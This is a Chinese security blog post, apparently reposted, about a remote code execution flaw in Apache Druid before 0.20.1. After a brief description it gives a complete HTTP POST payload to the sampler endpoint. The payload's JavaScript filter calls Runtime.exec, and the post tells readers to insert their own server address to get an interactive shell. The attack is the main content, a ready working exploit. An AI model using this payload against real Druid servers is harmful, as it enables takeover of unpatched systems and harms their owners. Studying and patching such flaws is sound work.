Apache Druid 远程代码执行

admin 2023年5月10日08:19:24评论41 views字数 2205阅读7分21秒阅读模式
只管把目标定在高峰,人家要笑就让他去笑!
漏洞描述:
Apache Druid 是用Java编写的面向列的开源分布式数据存储。Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码
漏洞影响:
Apache Druid < 0.20.1
漏洞复现:
访问漏洞url:
http://x.x.x.x/
首页如下:

Apache Druid 远程代码执行

构造payload:
POST /druid/indexer/v1/sampler HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/jsonContent-Length: 1000Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indone构造法坦构造ien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('xxxx')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
注意下面这个位置改为自己的服务器地址
{java.lang.Runtime.getRuntime().exec('xxx')}
发送请求包就可以得到一个交互式shell了

Apache Druid 远程代码执行

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:https://blog.csdn.net/weixin_48899364?type=blog
公众号:https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
博客:https://rdyx0.github.io/
先知社区:https://xz.aliyun.com/u/37846
SecIN:https://www.sec-in.com/author/3097
FreeBuf:https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

原文始发于微信公众号(儒道易行):Apache Druid 远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月10日08:19:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Druid 远程代码执行http://cn-sec.com/archives/1723076.html

发表评论

匿名网友 填写信息